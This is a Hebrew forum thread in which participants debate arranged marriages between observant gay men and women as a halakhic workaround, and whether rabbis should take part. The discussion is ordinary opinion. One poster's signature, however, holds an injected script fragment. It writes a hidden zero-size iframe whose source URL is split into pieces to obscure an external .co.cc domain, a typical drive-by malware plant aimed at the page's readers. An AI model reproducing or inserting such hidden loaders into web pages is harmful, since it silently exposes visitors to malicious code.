א. חשבו על זה מזמן.
ב. זה פות לכל הפחות חלק מהבעיות.

אמשלום, זו אולי רמיה של מוסד הנישואין, אך מה אכפת לך?

מדובר בבודדים שלמרות מוגבלותם חשובה להם בניית תא משפחתי שידמה חיצונית ככל האפשר לתא משפחתי נורמאלי. אל נא תהי עינך צרה בם.

[אליס,

א. אני לא חושבת שזה פותר אף בעיה אמיתית. כאמור, רמייה עצמית ו"התחפשות" (הידועה יותר בשמה בהקשר זה - חיים בארון) הן כלי ידוע להתמודדות עם היות אדם בעל זהות שונה (וקיימות אולי מאז "הומצאו"  החיים החברתיים...). 

ב. כפי שכתבתי - אין לי בעיה עם חשיפת מוגבלותם של מוסדות, באמצעות שימוש פרדוכסלי בהם, עד כדי זילות בוטה שלהם (ובכלל זה, גם מוסד הנישואין). הערתי בעניין הייתה לגבי הרבנים המשתפים עם זה פעולה - עליהם אני תמהה. 
אולי זה פשוט עניין של טען אישי - בעיניי, אם כבר רוצים לגלות את ערוותו של מבנה מיושן שאבד עליו הכלח, למה לא לעשות זאת בסוג של הומור עצמי  ומתוך שאיפה אמיתית לתיקון העולם, כמו למשל (במקרה הספציפי הזה) - לחתן שני גברים או שתי נשים?
(נא לא לנסות ולמכור כאן את המרכולת העבשה של "זה לא הלכתי". רבנים - גם בני ימינו - הוכיחו כבר מזמן, שאם יש רצון לתקן את ההלכה מתוך עצמה, אז גם היכולת לכך מתגלה מאליה).]

קודם כל אני מעתיק את החומר לכאן. דברים הולכים לאיבוד לאחר זמן, אם גם אפשר לנחש את התוכן מן הדיון.

אני סבור שלפני שדנים לשלול או לחייב צריך לזכור כמה נקודות:

א. אם אין פתרונות טובים אז לפעמים יש פתרונות שהם הכי טובים שאפשר.

ב. האם תמיד מתחתנים מאהבה?

נראה שיש לחלק בין התאהבות שהיא משיכה מיידית לבין אהבה שנבנית משך השנים ויכולה לעלות - או לרדת.

ג. מי האוכלוסיה שתצטרף? יש אדם שיאמר: אני בעל בעיה זו וזו, אני מחפש פתרון בתוך ההלכה, אני מבין מה מציעים לי. לא בטוח שאוכל להעניק לאשתי מה שכל גבר מעניק לאשתו. אעשה את המכסימום. הבה נגדיר מראש מה יהיה לנו. וכך לגבי בת הזוג.

אני סבור שההצעה יכולה להיות מאד טובה למי שרואה את עצמו כמו שראיתי לפני כמה שנים בלינק של אגודה של בעלי הבעיה שגם רוצים להיות שומרי מצוות. אם הם לא רוצים להיכשל בעבירה (בלי להיכנס לשאלה אם זו עבירה ומדוע) אז זה פתרון שיכול לעבוד.

ושוב: איני דן בכפיה, וגם לא בשאלה אם יש כאן קבוצה שכופה את ערכיה על הפרט. רק בשאלה אם זה פתרון יעיל. ראו סעיף 1.

בני אדם מכילים סתירות. זו סתירה גדולה וכואבת בין מה שהטבע לכאורה אומר לבין מה שהערכים התורניים קובעים. אם אין אנו משנים את הערכים שלנו (כאן אני במחנה השולל וכבר היו דיונים על זה ולא זה הנושא כמדומה) אז זה יכול להועיל כפי שהתרשמתי. והכל תלוי באיך זה ייעשה בפועל, וגם אז צריך נסיון מעשי לראות איך זה מתקדם במשך השנים.

וכמובן צריך סודיות מוחלטת. במיוחד עבור הילדים.

אולי כרקע  נוסף: בהקשר כלשהו נודע לי על סיפור של אדם שביקש למצוא בת זוג ש"רוצה כמה שפחות" יחסי אישות. הוא בוודאי לא היה אדם בריא. לא היה ברור לי בשעתו אם הוא התפתח כך עקב תנאים משפחתיים (חוסר חום והקרנה של הסתייגות מכל מגע), נטיה אישית (לא מודעת) לצד השני (לא היה כמעט שום בסיס להנחה כזו) או גורמים אחרים שלא ידועים לי, או שהכל תרם (וכך מסתבר). לא מדובר כאן בבעיה מהסוג שמתואר באשכול ובלינקים האחרונים. כן מדובר בבעיה אישית לא קלה של אדם שמודע ברמה כלשהי לכך שלא יוכל לבנות מערכת יחסים "נורמלית" עם אשתו ומראש מחפש בת זוג שדומה לו בדרישותיה או בהעדרן.

זכורני שראיתי פעם סיפור מעניין של הבן איש חי. מעשה באב שהיו לו שלוש בנות עם מידות רעות. הוא הצליח להשיא אותן לבעלים שתנאי חייהם עקפו את הבעיות, כמו בזבזנות ועצלנות. זה לא הועיל לאשה שהיתה למודה להוציא שם רע וכמובן זה המסר החינוכי של הסיפור (לכל יש תרופה חוץ מלשון הרע). אבל לפי דרכנו אפשר היה ללמוד איך הצטייר לרב על סף התקופה המודרנית פתרון לבעיות של מידות ואישיות: למצוא מסגרת שבה הבעיה לא תבלוט.

*** תוקן ניסוח לא ברור ***

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מיימוני
תודה על ההעתקה. כי האינטרנט שלי מסונן ואינו פותח את וינט. ונאי מבקש שכן יעשו בכל לינקים כאלו.